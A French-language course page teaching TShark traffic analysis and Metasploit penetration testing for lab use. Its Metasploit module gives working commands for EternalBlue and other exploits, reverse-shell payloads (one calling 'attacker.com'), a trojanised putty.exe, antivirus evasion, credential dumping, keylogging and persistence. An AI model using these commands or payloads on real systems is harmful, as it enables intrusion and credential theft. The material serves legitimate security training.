Formation Cybersécurité Offensive

TShark &
Metasploit
Framework

Formation complète pour maîtriser l'analyse réseau et les tests d'intrusion. Des bases théoriques aux techniques avancées d'attaque et de défense.

180+ Commandes couvertes
2000+ Modules MSF
8 Travaux pratiques
Possibilités
⚙️
Prérequis & Installation
Mise en place de l'environnement
⚠️

Cadre légal

Ces outils sont destinés exclusivement aux environnements de test que vous possédez ou pour lesquels vous avez une autorisation écrite explicite. Toute utilisation non autorisée est illégale et punissable pénalement. Utilisez des VMs dédiées (Kali Linux, Parrot OS).

🐧

Kali Linux (Recommandé)

Distribution dédiée au pentest. TShark et Metasploit pré-installés. VM VirtualBox ou VMware recommandée.

🦜

Parrot OS Security

Alternative légère à Kali. Inclut les mêmes outils de pentest avec une interface plus moderne.

🖥️

Ubuntu / Debian

Installation manuelle possible. Idéal pour apprendre à configurer l'environnement de zéro.

Installation
# Mise à jour du système
root@kali:~$ sudo apt update && sudo apt upgrade -y

# Installation TShark
root@kali:~$ sudo apt install tshark wireshark-common -y

# Ajouter l'utilisateur au groupe wireshark (capture sans root)
root@kali:~$ sudo usermod -aG wireshark $USER
root@kali:~$ newgrp wireshark

# Installation Metasploit Framework
root@kali:~$ sudo apt install metasploit-framework -y

# Initialisation de la base de données Metasploit
root@kali:~$ sudo msfdb init
[+] Starting database
[+] Creating database user 'msf'
[+] Success: The database appears to be running fine.
🔍
Module 1 — TShark
Analyseur de protocoles en ligne de commande
Réseau Capture Analyse Forensique Open Source
1.1 — Qu'est-ce que TShark ?

TShark est la version en ligne de commande de Wireshark. Il permet de capturer et d'analyser du trafic réseau sans interface graphique, ce qui le rend parfait pour les serveurs, l'automatisation, et les scripts shell.

Capture en temps réel

Intercepte les paquets sur une interface réseau en direct avec filtrage à la volée.

📂

Lecture de fichiers PCAP

Analyse des captures existantes (.pcap, .pcapng) avec des milliers de dissecteurs de protocoles.

🔧

Scriptable

S'intègre parfaitement dans des scripts bash, Python ou des pipelines d'automatisation.

📊

Statistiques

Génère des rapports et statistiques détaillés sur le trafic capturé.

Commandes de base
# Lister les interfaces disponibles
$ tshark -D
1. eth0
2. wlan0
3. lo (Loopback)

# Version et infos
$ tshark --version
TShark (Wireshark) 4.x.x (Git commit ...)

# Aide générale
$ tshark --help
1.2 — Capture de Trafic

La capture est la fonctionnalité principale de TShark. L'option -i spécifie l'interface, et de nombreuses options permettent de contrôler précisément ce qui est capturé.

Captures essentielles
# Capture basique sur eth0
$ tshark -i eth0

# Capture sur toutes les interfaces
$ tshark -i any

# Limiter le nombre de paquets capturés
$ tshark -i eth0 -c 100

# Capturer pendant X secondes
$ tshark -i eth0 -a duration:30

# Sauvegarder dans un fichier PCAP
$ tshark -i eth0 -w capture.pcap

# Lire un fichier PCAP existant
$ tshark -r capture.pcap

# Mode verbeux (détails de chaque paquet)
$ tshark -i eth0 -V

# Mode quiet (aucune info de capture)
$ tshark -i eth0 -q

# Rotation de fichiers (1 fichier / 10MB)
$ tshark -i eth0 -b filesize:10240 -w capture_%d.pcap
💡

Mode promiscuous

Par défaut, TShark capture en mode promiscuous (-p pour le désactiver), ce qui permet d'intercepter tout le trafic sur le réseau, pas seulement celui destiné à votre machine.

1.3 — Filtres BPF et Display Filters

TShark supporte deux types de filtres : les filtres de capture BPF (Berkeley Packet Filter, appliqués au niveau noyau) et les filtres d'affichage (Wireshark display filters, appliqués après capture).

Filtres de Capture (-f)
# Uniquement TCP
$ tshark -i eth0 -f "tcp"

# Port 80 uniquement
$ tshark -i eth0 -f "port 80"

# Hôte spécifique
$ tshark -i eth0 -f "host 192.168.1.1"

# Réseau entier
$ tshark -i eth0 -f "net 192.168.0.0/24"

# Source spécifique
$ tshark -i eth0 -f "src host 10.0.0.1"

# Combinaison AND/OR/NOT
$ tshark -f "tcp and port 443"
$ tshark -f "not arp"
Filtres d'Affichage (-Y)
# Protocole HTTP
$ tshark -r cap.pcap -Y "http"

# IP source précise
$ tshark -Y "ip.src == 192.168.1.1"

# Port destination
$ tshark -Y "tcp.dstport == 443"

# Drapeaux TCP (SYN uniquement)
$ tshark -Y "tcp.flags.syn == 1"

# Contenu HTTP
$ tshark -Y "http.request.method == POST"

# DNS queries
$ tshark -Y "dns.qry.type == A"
Filtre BPF Filtre Display équivalent Description
tcp tcp Tout le trafic TCP
udp udp Tout le trafic UDP
port 80 tcp.port == 80 Trafic HTTP (port 80)
host 1.2.3.4 ip.addr == 1.2.3.4 Trafic vers/depuis une IP
src host 1.2.3.4 ip.src == 1.2.3.4 Paquets dont la source est l'IP
dst port 443 tcp.dstport == 443 Connexions HTTPS sortantes
not arp !arp Exclure ARP
icmp icmp Pings et messages ICMP
ether host aa:bb:cc:dd:ee:ff eth.addr == aa:bb:cc:dd:ee:ff Filtrer par adresse MAC
1.4 — Analyse de Protocoles

TShark peut extraire des champs précis de n'importe quel protocole avec l'option -T fields -e champ. C'est extrêmement utile pour l'analyse forensique et l'automatisation.

Extraction de champs spécifiques
# Extraire IPs source et destination
$ tshark -r cap.pcap -T fields -e ip.src -e ip.dst
192.168.1.10 8.8.8.8
192.168.1.10 93.184.216.34

# Requêtes DNS
$ tshark -r cap.pcap -Y "dns" -T fields -e dns.qry.name
google.com
api.github.com

# URLs HTTP complètes
$ tshark -r cap.pcap -Y "http.request" -T fields \
-e http.host -e http.request.uri

# Credentials HTTP Basic Auth
$ tshark -r cap.pcap -Y "http.authorization" -T fields -e http.authorization

# Cookies HTTP
$ tshark -r cap.pcap -Y "http.cookie" -T fields -e http.cookie

# Handshakes TLS (SNI)
$ tshark -r cap.pcap -Y "tls.handshake.type == 1" -T fields \
-e tls.handshake.extensions_server_name

# Adresses MAC
$ tshark -r cap.pcap -T fields -e eth.src -e eth.dst | sort | uniq

# FTP credentials (en clair !)
$ tshark -r cap.pcap -Y "ftp" -T fields -e ftp.request.command -e ftp.request.arg
USER admin
PASS password123
🌐

Analyse HTTP

Extraire requêtes, réponses, headers, cookies, user-agents. Identifier les applications et comportements utilisateurs.

🔐

Analyse TLS/SSL

Inspecter les handshakes, certificats, SNI. Détecter des versions TLS obsolètes (SSLv3, TLS 1.0).

📡

Analyse DNS

Surveiller les résolutions, détecter le DNS tunneling, identifier des domaines suspects ou DGA.

🏠

Analyse ARP

Détecter l'ARP spoofing, mapper le réseau local, identifier les équipements actifs.

1.5 — Export & Traitement des Données
Formats de sortie et export
# Sortie JSON (pour parsing Python/jq)
$ tshark -r cap.pcap -T json > output.json

# Sortie JSON "ek" (Elasticsearch format)
$ tshark -r cap.pcap -T ek > output_ek.json

# CSV personnalisé avec séparateur
$ tshark -r cap.pcap -T fields -e ip.src -e ip.dst -e tcp.dstport \
-E separator=, -E header=y > output.csv

# Export de fichiers (HTTP objects)
$ tshark -r cap.pcap --export-objects http,/tmp/export/

# Convertir PCAP en PCAPNG
$ tshark -r input.pcap -F pcapng -w output.pcapng

# Extraire et compter avec sort/uniq
$ tshark -r cap.pcap -T fields -e ip.dst | sort | uniq -c | sort -rn | head -20
847 8.8.8.8
312 93.184.216.34
98 192.168.1.1
1.6 — Usage Avancé
Statistiques et analyses avancées
# Statistiques de protocoles
$ tshark -r cap.pcap -q -z io,phs

# Conversations TCP (top talkers)
$ tshark -r cap.pcap -q -z conv,tcp

# Statistiques HTTP
$ tshark -r cap.pcap -q -z http,tree

# Statistiques DNS
$ tshark -r cap.pcap -q -z dns,tree

# Endpoints (toutes les IPs qui communiquent)
$ tshark -r cap.pcap -q -z endpoints,ip

# Débit par intervalle (toutes les 1 seconde)
$ tshark -r cap.pcap -q -z io,stat,1

# Suivre un flux TCP complet
$ tshark -r cap.pcap -q -z follow,tcp,ascii,0

# Détecter les scans de ports (SYN sans SYN-ACK)
$ tshark -r cap.pcap -Y "tcp.flags == 0x002 and not tcp.analysis.retransmission" \
-T fields -e ip.src -e tcp.dstport | sort -u

# Pipeline avec grep pour filtrage supplémentaire
$ tshark -i eth0 -Y "http" -T fields -e http.request.full_uri | grep -i "passwd\|admin\|login"
🚀

Astuce Pro : Décryptage TLS

Si vous possédez la clé privée du serveur ou des secrets de session SSL (variable SSLKEYLOGFILE), TShark peut décrypter le trafic HTTPS : tshark -r cap.pcap -o "tls.keylog_file:keys.txt"

1.7 — Travaux Pratiques TShark
TP1

Capture et analyse basique d'un réseau local

Capturer 5 minutes de trafic sur votre interface réseau, identifier les 10 IPs les plus actives, et lister tous les protocoles présents.

$ tshark -i eth0 -a duration:300 -w tp1.pcap
$ tshark -r tp1.pcap -T fields -e ip.src | sort | uniq -c | sort -rn | head -10
$ tshark -r tp1.pcap -q -z io,phs
TP2

Extraction de credentials en clair

Sur un environnement de lab, capturer le trafic FTP/HTTP et extraire les identifiants transmis en clair.

$ tshark -r lab.pcap -Y "ftp.request.command == USER or ftp.request.command == PASS" \
-T fields -e ftp.request.command -e ftp.request.arg
$ tshark -r lab.pcap -Y "http.authorization" -T fields -e http.authorization
TP3

Détection d'un scan de ports

Analyser un PCAP contenant un scan Nmap et identifier l'attaquant et les ports scannés.

$ tshark -r scan.pcap -Y "tcp.flags.syn == 1 and tcp.flags.ack == 0" \
-T fields -e ip.src -e ip.dst -e tcp.dstport | sort | uniq -c | sort -rn
💀
Module 2 — Metasploit
Framework de test d'intrusion
Exploitation Post-exploitation Payloads Reconnaissance Open Source
2.1 — Introduction au Framework Metasploit

Metasploit Framework (MSF) est le framework de test d'intrusion le plus utilisé au monde. Développé par Rapid7, il centralise des milliers d'exploits, payloads, encodeurs et modules auxiliaires dans une interface unifiée.

💥

Exploits

Code qui tire parti d'une vulnérabilité spécifique pour gagner accès à un système cible. Plus de 2000 exploits disponibles.

🎯

Payloads

Code exécuté après exploitation. Meterpreter, shells reverse, bind shells. Singles, Stagers, et Stages.

🔧

Auxiliaires

Modules de scan, fuzzing, sniffing, énumération. Ne font pas d'exploitation directe mais collectent des informations.

🏃

Post-exploitation

Modules exécutés après l'accès initial : pivoting, extraction de credentials, persistance, escalade de privilèges.

Démarrage de Metasploit
# Lancer msfconsole
root@kali:~$ msfconsole
=[ metasploit v6.x.x-dev ]
+ -- --=[ 2341 exploits - 1234 auxiliary - 413 post ]
+ -- --=[ 1140 payloads - 46 encoders - 11 nops ]
msf6 >

# Lancer avec une commande directe
root@kali:~$ msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; run"

# Mode quiet (sans bannière)
root@kali:~$ msfconsole -q
msf6 >
2.2 — Architecture et Navigation
Commandes fondamentales de msfconsole
# Aide générale
msf6 > help

# Chercher un module
msf6 > search eternalblue
Matching Modules
================
# Name Disclosure Date Rank
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 excellent

# Recherche par type et CVE
msf6 > search type:exploit cve:2021-44228
msf6 > search platform:windows type:auxiliary name:smb

# Utiliser un module
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) >

# Infos sur le module actif
msf6 exploit(ms17_010_eternalblue) > info

# Voir les options du module
msf6 exploit(ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes Target IP(s)
RPORT 445 yes Target SMB port

# Définir des options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444

# Options globales (persistantes)
msf6 > setg LHOST 192.168.1.50

# Retourner au prompt principal
msf6 exploit(ms17_010_eternalblue) > back
CommandeDescription
search [terme]Chercher un module par nom, CVE, plateforme, type
use [module]Charger un module dans le contexte actif
infoAfficher la documentation complète du module
show optionsLister les options du module actif
show targetsSystèmes cibles supportés par l'exploit
show payloadsPayloads compatibles avec cet exploit
set / unsetDéfinir / supprimer la valeur d'une option
setg / unsetgOption globale pour tous les modules
run / exploitLancer l'exploit
checkVérifier si la cible est vulnérable (si supporté)
sessionsLister les sessions actives (Meterpreter, shells)
sessions -i [id]Interagir avec une session
jobsVoir les tâches en arrière-plan
db_nmapLancer Nmap et sauvegarder dans la DB MSF
hostsAfficher les hôtes découverts (base de données)
servicesServices découverts dans la base de données
vulnsVulnérabilités enregistrées dans la base
workspaceGérer les espaces de travail (projets séparés)
saveSauvegarder la configuration actuelle
2.3 — Reconnaissance avec Metasploit

Avant d'exploiter, on collecte du renseignement. MSF s'intègre avec Nmap et dispose de nombreux modules auxiliaires de scan et d'énumération.

Scan et énumération
# Scan Nmap intégré (résultats en base de données)
msf6 > db_nmap -sV -sC -O 192.168.1.0/24

# Voir les hôtes découverts
msf6 > hosts
msf6 > services -p 445

# Scan de ports TCP
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(tcp) > set PORTS 1-1024,3389,8080,8443
msf6 auxiliary(tcp) > set THREADS 50
msf6 auxiliary(tcp) > run

# Énumération SMB
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > use auxiliary/scanner/smb/smb_enumshares
msf6 > use auxiliary/scanner/smb/smb_enumusers

# Énumération SSH
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 > use auxiliary/scanner/ssh/ssh_enumusers

# Scan de vulnérabilités SMB (EternalBlue check)
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_ms17_010) > run
[+] 192.168.1.10 - Host is likely VULNERABLE to MS17-010!

# Énumération HTTP
msf6 > use auxiliary/scanner/http/http_version
msf6 > use auxiliary/scanner/http/dir_scanner

# Bruteforce SSH
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(ssh_login) > set RHOSTS 192.168.1.10
msf6 auxiliary(ssh_login) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(ssh_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
2.4 — Exploitation
⚠️

Environnement de lab uniquement

Les exemples suivants utilisent des CVEs réelles. Exercez-vous UNIQUEMENT sur des machines virtuelles que vous contrôlez (Metasploitable, VulnHub, HackTheBox, TryHackMe).

Exploits emblématiques
## ===== MS17-010 EternalBlue (Windows 7/2008) ===== ##
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444
msf6 exploit(ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.1.50:4444
[+] 192.168.1.10:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.10:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >

## ===== vsftpd 2.3.4 Backdoor (Metasploitable) ===== ##
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.1.100
msf6 exploit(vsftpd_234_backdoor) > run
[+] 192.168.1.100:21 - Backdoor service has been spawned, handling...

## ===== Samba "username map script" (Metasploitable) ===== ##
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(usermap_script) > set RHOSTS 192.168.1.100
msf6 exploit(usermap_script) > set PAYLOAD cmd/unix/reverse
msf6 exploit(usermap_script) > run

## ===== Apache Struts CVE-2017-5638 ===== ##
msf6 > use exploit/multi/http/struts2_content_type_ognl
msf6 > set RHOSTS 192.168.1.20
msf6 > set TARGETURI /struts2-showcase/index.action
💡

Commande check

Avant de lancer un exploit, utilisez check pour vérifier si la cible est vulnérable sans l'exploiter. Pas tous les modules le supportent, mais c'est une bonne pratique.

2.5 — Payloads & Meterpreter

Meterpreter est le payload avancé de Metasploit. Il fonctionne entièrement en mémoire (pas de fichier sur disque), chiffre les communications, et offre des centaines de fonctionnalités post-exploitation.

Types de payloads et génération
# Lister tous les payloads disponibles
msf6 > show payloads

# Payloads Windows courants
windows/meterpreter/reverse_tcp # Meterpreter staged, TCP
windows/x64/meterpreter/reverse_tcp # Meterpreter 64-bit staged
windows/meterpreter_reverse_https # Meterpreter stageless, HTTPS
windows/shell/reverse_tcp # Shell CMD staged
windows/shell_reverse_tcp # Shell CMD stageless

# Payloads Linux
linux/x86/meterpreter/reverse_tcp
linux/x64/shell_reverse_tcp

# Payloads multi-plateforme
java/meterpreter/reverse_tcp
python/meterpreter/reverse_tcp
php/meterpreter/reverse_tcp

## Générer des payloads avec msfvenom ##

# Payload Windows .exe (reverse shell)
$ msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f exe -o payload.exe

# Payload PHP (webshell)
$ msfvenom -p php/meterpreter_reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f raw -o shell.php

# Payload Android APK
$ msfvenom -p android/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 -o malware.apk

# Payload avec encodeur (bypass basique AV)
$ msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe

# Lister tous les formats disponibles
$ msfvenom --list formats
Multi/Handler — Recevoir les connexions
# Configurer le listener pour recevoir le payload
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(handler) > set LHOST 192.168.1.50
msf6 exploit(handler) > set LPORT 4444
msf6 exploit(handler) > set ExitOnSession false
msf6 exploit(handler) > run -j # -j = en arrière-plan
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.1.50:4444
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.10:49321)

# Passer à une session
msf6 > sessions -i 1
meterpreter >
2.6 — Post-Exploitation avec Meterpreter
Commandes Meterpreter essentielles
## INFORMATIONS SYSTÈME ##
meterpreter > sysinfo
Computer : WIN-TARGET
OS : Windows 10 (10.0 Build 19041)
Meterpreter: x64/windows

meterpreter > getuid
Server username: WIN-TARGET\Administrator

meterpreter > getpid
meterpreter > ps
meterpreter > netstat
meterpreter > arp

## NAVIGATION FICHIERS ##
meterpreter > pwd
meterpreter > ls / dir
meterpreter > cd C:\\Users\\Administrator\\Desktop
meterpreter > download secret.txt /tmp/
meterpreter > upload /tmp/tool.exe C:\\Windows\\Temp\\
meterpreter > search -f *.pdf -d C:\\

## ESCALADE DE PRIVILÈGES ##
meterpreter > getsystem
[+] ...got system via technique 1 (Named Pipe Impersonation)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

## EXTRACTION DE MOTS DE PASSE ##
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

# Avec Kiwi (mimikatz intégré)
meterpreter > load kiwi
meterpreter > creds_all
meterpreter > lsa_dump_sam
meterpreter > lsa_dump_secrets

## SCREENSHOT & KEYLOGGER ##
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

## PERSISTANCE ##
meterpreter > run persistence -h
meterpreter > run post/windows/manage/persistence_exe STARTUP=SCHEDULER

## PIVOTING ##
meterpreter > route add 10.10.10.0/24 1
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.50

## SHELL INTERACTIF ##
meterpreter > shell
Process 2312 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19041.1288]
C:\Windows\system32>
# Retour à meterpreter : CTRL+Z
Modules de post-exploitation
# Depuis une session meterpreter (background avec CTRL+Z)
msf6 > use post/windows/gather/credentials/credential_collector
msf6 > set SESSION 1
msf6 > run

# Dump de la base SAM (NTLM hashes)
msf6 > use post/windows/gather/smart_hashdump

# Suggérer des exploits locaux pour PrivEsc
msf6 > use post/multi/recon/local_exploit_suggester
msf6 > set SESSION 1
msf6 > run
[+] 192.168.1.10 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.

# Bypass UAC
msf6 > use exploit/windows/local/bypassuac_eventvwr
msf6 > set SESSION 1

# Migration de processus (plus stable)
meterpreter > migrate -N explorer.exe
[*] Migrating from 1234 to 4321...
[+] Migration completed successfully.
2.7 — Évasion AV & Techniques Avancées
👻

Encodeurs

Transforment le payload pour tenter de contourner les signatures AV. shikata_ga_nai, x64/xor, x86/countdown.

💉

Injection de processus

Meterpreter peut s'injecter dans des processus légitimes (svchost, explorer) pour masquer sa présence.

🧠

In-Memory

Meterpreter n'écrit pas sur le disque. Tourne entièrement en mémoire RAM, difficile à détecter par l'analyse de fichiers.

🔀

HTTPS C2

Le payload reverse_https chiffre les communications et les fait passer pour du HTTPS légitime.

Techniques d'évasion et avancées
# Payload stageless (tout en un, moins de connexions)
$ msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=attacker.com LPORT=443 -f exe -o update.exe

# Payload injecté dans un binaire légitime (template)
$ msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-x /usr/share/windows-resources/putty.exe \
-k -f exe -o putty_trojan.exe

# Shellcode brut (pour injection custom)
$ msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 -f c

# Pivot avec Proxychains via SOCKS
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(socks_proxy) > set SRVPORT 1080
msf6 auxiliary(socks_proxy) > set VERSION 5
msf6 auxiliary(socks_proxy) > run -j
msf6 > route add 10.10.10.0/24 1
# Puis: proxychains nmap -sT 10.10.10.0/24

# Automation avec des scripts resource (.rc)
$ cat > autopwn.rc << 'EOF'
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit -j
EOF
$ msfconsole -r autopwn.rc
2.8 — Travaux Pratiques Metasploit
🧪

Environnement recommandé

Téléchargez Metasploitable 2/3 sur SourceForge, ou créez un lab avec VulnHub. Pour des challenges guidés, TryHackMe et HackTheBox sont excellents.

TP1

Exploitation de Metasploitable 2 — vsftpd Backdoor

Identifier le service FTP vulnérable, utiliser l'exploit vsftpd_234_backdoor, obtenir un shell root.

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.56.101
msf6 > run
[+] Shell session 1 opened
# id && whoami
uid=0(root) gid=0(root) groups=0(root)
TP2

Scan complet + exploitation automatisée

Scanner le réseau, identifier les vulnérabilités SMB, exploiter avec EternalBlue, hashdump.

msf6 > db_nmap -sV --script=vuln 192.168.56.101
msf6 > vulns
msf6 > use exploit/windows/smb/ms17_010_eternalblue
meterpreter > hashdump
TP3

Génération et réception d'un payload personnalisé

Créer un payload .exe avec msfvenom, le transférer sur la cible, configurer le handler et recevoir la session Meterpreter.

TP4

Post-exploitation complète

Depuis une session Meterpreter : escalade de privilèges, hashdump, extraction de credentials avec Kiwi, persistence, screenshot, pivot réseau.

🔗
TShark + Metasploit
Combinaison pour une analyse complète
Workflow Red Team Complet

TShark et Metasploit se complètent parfaitement. TShark permet d'analyser le trafic réseau généré lors d'un pentest, de valider les exploits, et de détecter les IoC (Indicateurs de Compromission).

Analyse du trafic Metasploit avec TShark
# Terminal 1 : Capturer le trafic pendant un pentest
$ tshark -i eth0 -w pentest_capture.pcap

# Terminal 2 : Lancer Metasploit et exploiter
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > run

# Après le pentest, analyser le trafic généré
$ tshark -r pentest_capture.pcap -Y "smb2" -q -z io,stat,1

# Identifier les connexions Meterpreter (TCP 4444)
$ tshark -r pentest_capture.pcap -Y "tcp.dstport == 4444 or tcp.srcport == 4444"

# Analyser le handshake SMB de l'exploit
$ tshark -r pentest_capture.pcap -Y "smb2.cmd == 0x0001" -T fields \
-e ip.src -e ip.dst -e smb2.filename

# Suivre le flux d'une connexion Meterpreter
$ tshark -r pentest_capture.pcap -q -z follow,tcp,hex,0

# Générer un rapport JSON pour analyse SIEM
$ tshark -r pentest_capture.pcap -T ek | \
python3 -c "import sys,json; [print(json.dumps(json.loads(l))) for l in sys.stdin]" \
> report.json
🛡️

Blue Team : Détecter MSF

Utiliser TShark pour identifier les IoC typiques de Metasploit : connexions sur le port 4444, patterns SMB suspects, trafic EternalBlue.

🔴

Red Team : Valider l'exploit

Capturer le trafic pour analyser le comportement de l'exploit, valider que le payload est bien reçu, documenter le vecteur d'attaque.

📋

Documentation

Capturer le trafic de chaque étape du pentest pour produire un rapport détaillé avec preuves réseau.

🎓

Pour aller plus loin

Combinez cette formation avec Nmap pour la découverte réseau, Burp Suite pour le web, John the Ripper / Hashcat pour le cracking de hashes, et BloodHound pour l'Active Directory. Pratiquez sur HackTheBox et TryHackMe pour des défis réels.

Progression recommandée
TShark — BasesSemaine 1-2
TShark — Filtres avancésSemaine 2-3
Metasploit — Architecture & ReconSemaine 3-4
Metasploit — ExploitationSemaine 4-6
Metasploit — Post-exploitationSemaine 6-8
Combiné — Labs complexesSemaine 8-12
Formation Cybersécurité
TShark & Metasploit Framework
À utiliser uniquement dans un cadre légal et éthique.
// Learn. Practice. Secure.